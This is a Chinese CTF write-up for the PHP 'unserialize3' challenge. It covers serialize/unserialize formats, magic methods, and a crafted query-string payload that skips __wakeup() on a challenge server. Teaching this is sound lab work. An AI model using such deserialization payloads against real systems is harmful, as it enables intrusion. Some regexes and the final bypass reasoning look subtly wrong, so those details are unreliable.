unserialize3

这篇具有很好参考价值的文章主要介绍了unserialize3。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

unserialize3 writeup

php 序列化

序列化是程序类型转化为字符串的过程

字符串的序列化

<?php
$name = "faraday";
$name_ser = serialize($name);
print_r($name_ser);
?>

得到的输出是

s:7:"faraday";

可以统一表达为正则的形式

'/s:[0-9]+:"[^"]+";/;'

整型的序列化

<?php
$name = 1;
$name_ser = serialize($name);
print_r($name_ser);
?>

得到的输出是

i:1;

用正则表达则是

'/i:[0-9]+/;'

浮点数的序列化

<?php
$name = 1.1;
$name_ser = serialize($name);
print_r($name_ser);
?>

得到的输出是

d:1.1;

用正则表达则是

'/d:[0-9\.]+E[+-][0-9]+;/'

布尔值的序列化

<?php
$name =TRUE;
$name_ser = serialize($name);
print_r($name_ser);
?>

得到的输出是

b:1;

用正则表达则是

'/b:0|1;/'

数组的序列化

<?php
$name =[1,1.1,"a",True,NULL];
$name_ser = serialize($name);
print_r($name_ser);
?>

得到的输出是

a:5:{i:0;i:1;i:1;d:1.1;i:2;s:1:"a";i:3;b:1;i:4;N;}

分析一下结构

我们提取每一项的子串,如

i:0;i:1;
i:1;d:1.1;

i:0 表示该项的 index 是 0;i:1 表示该项是一个整型,值为 1。

用正则表达则是

'/a:[0-9]+:{(i:[0-9]+;|d:[0-9\.]+E[+-][0-9]+;|s:[0-9]+:"[^"]+";|b:0;|b:1;|N;)*}/'

对象的序列化

<?php
class class1{
    public $a=1;
    public $b=1.1;
    public $c="a";
    public $d=[1];
}
$name =new class1();
$name_ser = serialize($name);
print_r($name_ser);
?>

得到的输出是

O:6:"class1":4:{s:1:"a";i:1;s:1:"b";d:1.1;s:1:"c";s:1:"a";s:1:"d";a:1:{i:0;i:1;}}

分析一下结构

  • O 表示该对象类型为对象
  • 6 表示对象名长度为 6
  • "class1"是对象名
  • 4 表示该对象有 4 个属性
  • {}内的部分则表示每个属性

提取一下子串

s:1:"a";i:1;

表示属性名为 a 的属性是整型,值为 1

php 反序列化

反序列化是程序将符合一定格式的字符串转化为程序类型的方法

<?php
class class1{
    public $a=1;
    public $b=1.1;
    public $c="a";
    public $d=[1];
}
$name =new class1();
$name_ser = serialize($name);
print_r($name_ser);
$name_unser=unserialize($name_ser);
print_r("\n");
print_r($name_unser);
?>

得到输出

O:6:"class1":4:{s:1:"a";i:1;s:1:"b";d:1.1;s:1:"c";s:1:"a";s:1:"d";a:1:{i:0;i:1;}}
class1 Object
(
    [a] => 1
    [b] => 1.1
    [c] => a
    [d] => Array
        (
            [0] => 1
        )

)

魔术方法

魔术方法以"__"开头,跟反序列化过程相关的魔术方法有

  1. __sleep() - 对象序列化之前触发,返回一个数组指定需要序列化的属性。
  2. __wakeup() - 对象反序列化之后立即触发。可用于反序列化后的初始化操作。
  3. __set_state() - 当使用 var_export()导出类时触发,用于返回要导出的属性数组。
  4. __clone() - 对象复制时触发,用于实现对象的深拷贝。
  5. __destruct() - 对象销毁前触发,可用于自定义销毁前的操作。
  6. __tostring() - 可以控制对象进行字符串转换时的字符串表示。
  7. __debuginfo() - 用于定制对象的调试信息。当对象被 var_dump()处理时被调用。
  8. __get()/__set()/__isset()/__unset() - 用于实现属性的自定义访问。
  9. __call()/__callStatic() - 调用不可访问方法时触发。
  10. __serialize()/__unserialize() - 自定义序列化/反序列化的实现。

unserialize3

回到题目,访问场景后得到:

class xctf{
    public $flag = '111';
    public function __wakeup(){
    exit('bad requests');
}
?code=

反序列化后立即触发__wakeup()

我们首先序列化一下

<?php
class xctf{
    public $flag = '111';
    public function __wakeup(){
        exit('bad requests');
    }
}
$b=new xctf();
$c=serialize($b);
echo $c;
?>

得到输出

O:4:"xctf":1:{s:4:"flag";s:3:"111";}

构造 url

http://61.147.171.105:57300/index.php?code=O:4:%22xctf%22:1:{s:4:%22flag%22;s:3:%22111%22;}

果然得到输出

bad requests

这说明我们对 php 的执行逻辑理解是正确的

接下来考虑如何避免触发__wakeup()

首先考虑类似 bof 的构造

O:3:"xctf":1:{s:4:"flag";s:3:"111";}

果然成功了

unserialize3文章来源地址https://www.toymoban.com/news/detail-662305.html

到了这里,关于unserialize3的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • [wp]2023中山市第三届香山杯 web PHP_unserialize_pro

    考点: 反序列化漏洞POP的构造 eval()函数恶意php代码执行 []通配的形式 绕过黑名单字母 源代码: 代码审计: 先找出口函数:为eval() 然后执行eval()函数 就必须触 发__invoke()魔术方法, __invoke():当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。 所以我们

    2024年02月08日
    浏览(47)
  • thinkphp5.1 获取缓存cache(‘cache_name‘)特别慢,php 7.0 unserialize 特别慢

    场景: 项目中大量使用了缓存,本地运行非常快,二三百毫秒,部署到服务器后 一个表格请求就七八秒,最初猜想是数据库查询慢,经过追代码,发现是获取到缓存后,进行反序列化过程造成的 解决:将php 版本从7.0 切换到7.1 就好了 扩展:查询了官方手册也未见 这方面的

    2024年02月07日
    浏览(47)
  • HDCTF2023 Writeup

    pwn 做完了,别的方向的也有打一点。 伪随机数,种子也给出来了。先写个生成对应随机数的 c 程序。 基础栈溢出 + 给了后门函数 exp 如下: 给了个 shell,不过是假的。 利用格式化字符串漏洞劫持 printf_got 为 system_plt(经过调试得到 printf 的偏移是6 ) 下面存在 0x10 字节的溢

    2024年02月06日
    浏览(82)
  • XCTF:CatCatCat[WriteUP]

    编码的开头是:U2FsdGVkX1所以是rabbit加密 尝试使用密钥:91 密码不对,无法解密所以从图片下手 尝试搜索password、flag等敏感字体 直接拿到rabbit解密需要的密钥是:catflag (使用strings命令同样能找到密码) 通过rabbit解码后的明文,出现了大量符号+字母+数字的组合 考虑应该是

    2024年02月02日
    浏览(33)
  • UNCTF2022 部分writeup

    查看源代码发现输入框需要输入学号和密码,爆破一下发现从20200102开始有回显,直接写脚本。 一道游戏的题目,打游戏就能通过,休闲解压就打过了,没有仔细想怎么解,期待师傅们的wp。 考察了302重定向,使用linux curl可以避免被重定向,同时考察了发包的请求,post方式

    2023年04月10日
    浏览(43)
  • ISCC2022--Writeup

    MISC/REVERSE/MOBILE 答题须知 系统会为选手随机分配flag,请各位选手务必下载自己账号对应的题目附件 。 提交其他选手的flag将被视为作弊行为 。 WEB/PWN 答题须知 主办方将于每天中午12:00-12:30对部分题目进行维护并变更flag,届时会影响题目环境,请各位选手避免在该时间段内

    2024年02月09日
    浏览(123)
  • HTB Mailroom WriteUp

    2024年02月05日
    浏览(49)
  • HTB Busqueda WriteUP

    2023年04月24日
    浏览(31)
  • bugku bp (writeup)

     提示说是弱密码top1000  我去找了一下下载连接是:top1000.txt - 蓝奏云 然后burp爆破 我们先抓下包😎  这里随便填个密码  抓取成功 👉右键  选择 发送给Intruder    选择 载入中。。。把刚才下载的top1000.txt导入进去 导入好啦😊   进行定位§  点击开始攻击 这边我发现长度

    2024年02月15日
    浏览(37)
  • SYCTF2023 WEB writeup

    一进来就是个任意文件下载功能,不过做了些限制,这题从头到尾都在骂杂鱼。。。(虽然我确实是(bushi) 查看页面源代码,给了个 /eval /login 两个路由,/eval是个目录遍历,/login尝试登录无果,有session,应该需要伪造session,利用/eval查看app下的pyc文件,然后down下载 在线找个

    2024年02月08日
    浏览(31)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包